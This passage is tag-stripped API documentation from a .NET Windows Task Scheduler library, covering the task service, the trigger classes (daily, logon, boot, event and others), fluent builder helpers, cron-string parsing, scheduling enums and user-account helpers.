folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the 